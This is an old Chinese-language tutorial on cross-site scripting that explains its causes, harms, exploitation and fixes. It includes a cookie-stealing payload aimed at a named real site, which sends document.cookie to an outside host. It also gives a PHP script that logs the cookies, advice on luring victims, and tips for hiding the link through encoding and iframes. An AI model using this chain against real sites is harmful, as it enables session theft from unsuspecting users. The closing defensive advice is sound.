跨站脚本执行漏洞详解

<A name=top>跨站脚本执行漏洞详解</A> 【前言】 <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p>本文主要介绍跨站脚本执行漏洞的成因，形式，危害，利用方式，隐藏技巧，解决方法和常见问题（FAQ），由于目前介绍跨站脚本执行漏洞的资料还不是很多，而且一般也不是很详细，所以希望本文能够比较详细的介绍该漏洞。由于时间仓促，水平有限，本文可能有不少错误，希望大家不吝赐教。 <o:p></o:p>声明，请不要利用本文介绍的任何内容，代码或方法进行破坏，否则一切后果自负！ <o:p></o:p>【漏洞成因】 原因很简单，就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。 <o:p></o:p>【漏洞形式】 这里所说的形式，实际上是指CGI输入的形式，主要分为两种： 1．显示输入 2．隐式输入 其中显示输入明确要求用户输入数据，而隐式输入则本来并不要求用户输入数据，但是用户却可以通过输入数据来进行干涉。 显示输入又可以分为两种： 1．输入完成立刻输出结果 2．输入完成先存储在文本文件或数据库中，然后再输出结果 注意：后者可能会让你的网站面目全非！：（ 而隐式输入除了一些正常的情况外，还可以利用服务器或CGI程序处理错误信息的方式来实施。 <o:p></o:p>【漏洞危害】 大家最关心的大概就要算这个问题了，下面列举的可能并不全面，也不系统，但是我想应该是比较典型的吧。 1．获取其他用户Cookie中的敏感数据 2．屏蔽页面特定信息 3．伪造页面信息 4．拒绝服务攻击 5．突破外网内网不同安全设置 6．与其它漏洞结合，修改系统设置，查看系统文件，执行系统命令等 7．其它 一般来说，上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞，也就是通过别人的网站达到攻击的效果，也就是说，这种攻击能在一定程度上隐藏身份。 <o:p></o:p>【利用方式】 下面我们将通过具体例子来演示上面的各种危害，这样应该更能说明问题，而且更易于理解。为了条理更清晰一些，我们将针对每种危害做一个实验。 为了做好这些实验，我们需要一个抓包软件，我使用的是Iris，当然你可以选择其它的软件，比如 NetXray什么的。至于具体的使用方法，请参考相关帮助或手册。 另外，需要明白的一点就是：只要服务器返回用户提交的信息，就可能存在跨站脚本执行漏洞。 好的，一切就绪，我们开始做实验！：） <o:p></o:p>实验一：获取其他用户Cookie中的敏感信息 我们以国内著名的同学录站点5460.net为例来说明一下，请按照下面的步骤进行： 1．进入首页http://www.5460.net/ 2．输入用户名“<h1>”，提交，发现服务器返回信息中包含了用户提交的“<h1>”。 3．分析抓包数据，得到实际请求： http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6 4．构造一个提交，目标是能够显示用户Cookie信息： http://www.5460.net/txl/login/login.pl?username=<script>alert(document.cookie)</ script>&passwd=&ok.x=28&ok.y=6 5．如果上面的请求获得预期的效果，那么我们就可以尝试下面的请求： http://www.5460.net/txl/login/login.pl?username=<script>window.open("http://www.notfound.org/ info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6 其中http://www.notfound.org/info.php是你能够控制的某台主机上的一个脚本，功能是获取查询字符串的信息，内容如下： <?php $info = getenv("QUERY_STRING"); if ($info) { $fp = fopen("info.txt","a"); fwrite($fp,$info."/n"); fclose($fp); } header("Location: http://www.5460.net"); 注：“%2B”为“+”的URL编码，并且这里只能用“%2B”，因为“+”将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。 6．如果上面的URL能够正确运行的话，下一步就是诱使登陆5460.net的用户访问该URL，而我们就可以获取该用户Cookie中的敏感信息。 7．后面要做什么就由你决定吧！ <o:p></o:p>实验二：屏蔽页面特定信息 我们仍然以5460.net作为例子，下面是一个有问题的CGI程序： http://www.5460.net/txl/liuyan/liuyanSql.pl 该CGI程序接受用户提供的三个变量，即nId，csId和cName，但是没有对用户提交的cName变量进行任何检查，而且该CGI程序把cName的值作为输出页面的一部分，5460.net的用户应该都比较清楚留言右下角有你的名字，对吧？ 既然有了上面的种种条件，我们可以不妨作出下面的结论： 某个用户可以“屏蔽”其两次留言之间的所有留言！ 当然，我们说的“屏蔽”不是“删除”，用户的留言还是存在的，只不过由于HTML的特性，我们无法从页面看到，当然如果你喜欢查看源代码的话就没有什么用处了，但是出了我们这些研究CGI安全的人来说，有多少人有事没事都看HTML源代码？ 由于种种原因，我在这里就不公布具体的细节了，大家知道原理就好了。 注：仔细想想，我们不仅能屏蔽留言，还能匿名留言，Right？ <o:p></o:p>实验三：伪造页面信息 如果你理解了上面那个实验，这个实验就没有必要做了，基本原理相同，只是实现起来稍微麻烦一点而已。 <o:p></o:p>实验四：拒绝服务攻击 现在应该知道，我们在某种程度上可以控制存在跨站脚本执行漏洞的服务器的行为，既然这样，我们就可以控制服务器进行某种消耗资源的动作。比如说运行包含死循环或打开无穷多个窗口的JavaScript脚本等等。这样访问该URL的用户系统就可能因此速度变慢甚至崩溃。同样，我们也可能在其中嵌入一些脚本，让该服务器请求其它服务器上的资源，如果访问的资源比较消耗资源，并且访问人数比较多的话，那么被访问的服务器也可能被拒绝服务，而它则认为该拒绝服务攻击是由访问它的服务器发起的，这样就可以隐藏身份。 <o:p></o:p>实验五：突破外网内网不同安全设置 这个应该很好理解吧，一般来说我们的浏览器对不同的区域设置了不同的安全级别。举例来说，对于 Internet区域，可能你不允许JavaScript执行，而在Intranet区域，你就允许JavaScript执行。一般来说，前者的安全级别都要高于后者。这样，一般情况下别人无法通过执行恶意JavaScript脚本对你进行攻击，但是如果与你处于相同内网的服务器存在跨站脚本执行漏洞，那么攻击者就有机可乘了，因为该服务器位于Intranet 区域。 <o:p></o:p>实验六：与其它漏洞结合，修改系统设置，查看系统文件，执行系统命令等 由于与浏览器相关的漏洞太多了，所以可与跨站脚本执行漏洞一起结合的漏洞也就显得不少。我想这些问题大家都应该很清楚吧，前些时间的修改IE标题漏洞，错误MIME类型执行命令漏洞，还有多种多样的蠕虫，都是很好的例子。 更多的例子请参考下列链接： Internet Explorer Pop-Up OBJECT Tag Bug http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html Internet Explorer Javascript Modeless Popup Local Denial of Service Vulnerability http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html MSIE6 can read local files http://www.xs4all.nl/~jkuperus/bug.htm MSIE may download and run progams automatically http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html File extensions spoofable in MSIE download dialog http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html the other IE cookie stealing bug (MS01-055) http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html Microsoft Security Bulletin MS01-055 http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html Incorrect MIME Header Can Cause IE to Execute E-mail Attachment http://www.kriptopolis.com/cua/eml.html <o:p></o:p>跨站脚本执行漏洞在这里的角色就是隐藏真正攻击者的身份。 <o:p></o:p>实验七：其它 其实这类问题和跨站脚本执行漏洞没有多大关系，但是在这里提一下还是很有必要的。问题的实质还是CGI程序没有过滤用户提交的数据，然后进行了输出处理。举个例子来说，支持SSI的服务器上的CGI程序输出了用户提交的数据，无论该数据是采取何种方式输入，都可能导致SSI指令的执行。当然，这是在服务端，而不是客户端执行。其实像ASP，PHP和Perl等CGI语言都可能导致这种问题。 <o:p></o:p>【隐藏技巧】 出于时间的考虑，我在这里将主要讲一下理论了，相信不是很难懂，如果实在有问题，那么去找本书看吧。 1． URL编码 比较一下： http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6 http://www.5460.net/txl/login/login.pl?username=%<?xml:namespace prefix = st1 ns = "urn:schemas-microsoft-com:office:smarttags" /><st1:chmetcnv w:st="on" UnitName="C" SourceValue="3" HasSpace="False" Negative="False" NumberType="1" TCSC="0">3C</st1:chmetcnv>%68%31%3E&passwd=&ok.x=28&ok.y＝6 你觉得哪个更有隐蔽性？！ <o:p></o:p>2．隐藏在其它对象之下 与直接给别人一个链接相比，你是否决定把该链接隐藏在按钮以下更好些呢？ <o:p></o:p>3．嵌入页面中 让别人访问一个地址（注意这里的地址不同于上面提到的URL），是不是又要比让别人按一个按钮容易得多，借助于Iframe，你可以把这种攻击变得更隐蔽。 <o:p></o:p>4．合理利用事件 合理使用事件，在某些情况上可以绕过CGI程序对输入的限制，比如说前些日子的SecurityFocus的跨站脚本执行漏洞。 <o:p></o:p>【注意事项】 一般情况下直接进行类似<script>alert(document.cookie)</script>之类的攻击没有什么问题，但是有时 CGI程序对用户的输入进行了一些处理，比如说包含在’’或””之内，这时我们就需要使用一些小技巧来绕过这些限制。 如果你对HTML语言比较熟悉的话，绕过这些限制应该不成问题。 <o:p></o:p>【解决方法】 要避免受到跨站脚本执行漏洞的攻击，需要程序员和用户两方面共同努力： 程序员： 1．过滤或转换用户提交数据中的HTML代码 2．限制用户提交数据的长度 <o:p></o:p>用户： 1．不要轻易访问别人给你的链接 2．禁止浏览器运行JavaScript和ActiveX代码 <o:p></o:p>附：常见浏览器修改设置的位置为： Internet Explorer： 工具->Internet选项->安全->Internet->自定义级别 工具->Internet选项->安全->Intranet->自定义级别 Opera： 文件->快速参数->允许使用Java 文件->快速参数->允许使用插件 文件->快速参数->允许使用JavaScript <o:p></o:p>【常见问题】 Q：跨站脚本执行漏洞在哪里存在？ A：只要是CGI程序，只要允许用户输入，就可能存在跨站脚本执行漏洞。 <o:p></o:p>Q：跨站脚本执行漏洞是不是只能偷别人的Cookie？ A：当然不是！HTML代码能做的，跨站脚本执行漏洞基本都能做。 <o:p></o:p><o:p> </o:p>